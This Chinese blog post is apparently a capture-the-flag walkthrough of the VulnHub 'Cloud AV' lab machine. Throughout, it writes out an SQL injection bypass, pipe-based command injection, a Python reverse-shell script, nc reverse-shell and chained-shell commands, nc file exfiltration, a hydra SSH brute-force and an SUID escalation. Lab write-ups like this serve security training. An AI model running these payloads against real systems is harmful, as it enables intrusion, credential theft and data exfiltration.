VulnHub-BoredHackerBlog: Cloud AV

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

1.主机发现

靶机和kali处于同一网段,使用二层地址发现找出靶机IP(192.168.56.103)

2.端口扫描

拿到IP后,对靶机进行全端口扫描,探测靶机开启了22和8080两个端口

3.服务发现

扫描出这两个端口后,使用namp对打开端口进行服务和版本的发现

22端口跑的是OpenSSH服务,操作系统是Ubuntu;8080端口跑的是http服务,服务器端可能运行Python的环境

4.WEB侦查

既然是Web服务,那就试一下呗

用我英语十级的水平一翻译还是简简单单的

插一段JavaScript试一下,结果有东西

<script>function myFunction(){alert("你好,我是一个警告框!");}</script>

随便点点试试发现一个弹窗要求输入PIN码

别问咋知道的,问就是英语十级

这我也不知道PIN码,只能再试一下其它的。扫了一下目录发现只有一个返回200

发现跟前面是一样的

没得办法,只能去查一下相关资料,结果发现http://192.168.56.103:8080/页面有两种方法可以登录

  1. SQL注入

  2. 暴力破解

补充:暴力破解邀请码

kali自带字典位置/usr/share/wordlists

选中字典后使用burp suit进行爆破

5.SQL注入

观察前面发现的页面发现存在SQL注入(最后一行的绿框)

if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:

然后构造语句插入绕过PIN码验证,使用or 1=1使条件永为真,即输入

" or 1=1 -- +

6.命令注入

绕过后显示一个云防病毒扫描器界面

输入其中一个文件名bash之后发现一些奇奇怪怪的东西

用我英语十级的智慧翻译一下发现是扫描摘要

所以猜测这是一个用管道符连接的命令执行漏洞,在后端执行的命令逻辑为

avscan bash | ls

这样输入bash | ls得到

7.反弹SHELL

因为服务器运行的是Python环境,可使用Python反弹shell(大佬说的)

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.56.102",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

在这里使用nc反弹,先用bash | which nc查看靶机有没有nc,发现返回路径,说明靶机存在nc

于是乎开启侦听nc反弹,kali端执行侦听

但是浏览器执行bash | nc 192.168.56.102 4444 -e /bin/sh失败了,因为有些nc版本不支持-e参数,所以删除-e参数(bash | nc 192.168.56.102 4444),发现可以收到链接了

8.NC串联

先在kali开启两个监听,分别监听3333和4444端口

在浏览器执行下面的命令(执行后会先在3333端口建立链接,这时在3333输入任何命令都会调用/bin/bash,执行之后从4444端口输出)

bash | nc 192.168.56.102 3333 | /bin/bash | nc 192.168.56.102 4444

终端两个nc都收到了返回,在3333端口执行命令,会在4444端口看到返回

9.下载文件

开启nc侦听5555端口并将得到的数据存入db.sql(nc -nlvp 5555 > db.sql)

之后在3333端口执行nc 192.168.56.102 5555 < database.sql

用sqlite打开db.sql

10.查看目标用户

在3333端口执行cat /etc/passwd查看所有用户

用cat /etc/passwd | grep /bin/bash筛选出具有shell执行权限的用户,有三个:root,cloudav,scanner

11.密码爆破

知道了账号密码,做个字典爆破试试

创建用户名文件(vi user.txt)

创建密码文件(vi pass.txt)

字典做好了,用hydra对SSH爆破

hydra -L user.txt -P pass.txt ssh://192.168.56.103

可惜失败了,哎!

12.其它文件收集

外部信息基本都搞完了,只能再从靶机内部入手了,查看其它文件发现在上一级目录中有相同名称的文件,并且其中一个文件的所有者是root

13.代码审计

如果能进行命令注入,就能得到root权限,查看源文件(cat update_cloudav.c)

可看到在执行该文件时需在后面加命令

我咋知道的呢?因为英语十级很强

14.SUID提权

看到调用了log,猜测也可调用nc,所以再次使用nc命令反弹shell并在kali端监听5555和6666端口

./update_cloudav "a | nc 192.168.56.102 5555 | /bin/bash | nc 192.168.56.102 6666"

查看监听终端

终于看到了久违的ROOT,是真的激动

posted @ 2022-09-02 08:30  HKalpa  阅读(172)  评论(0编辑  收藏  举报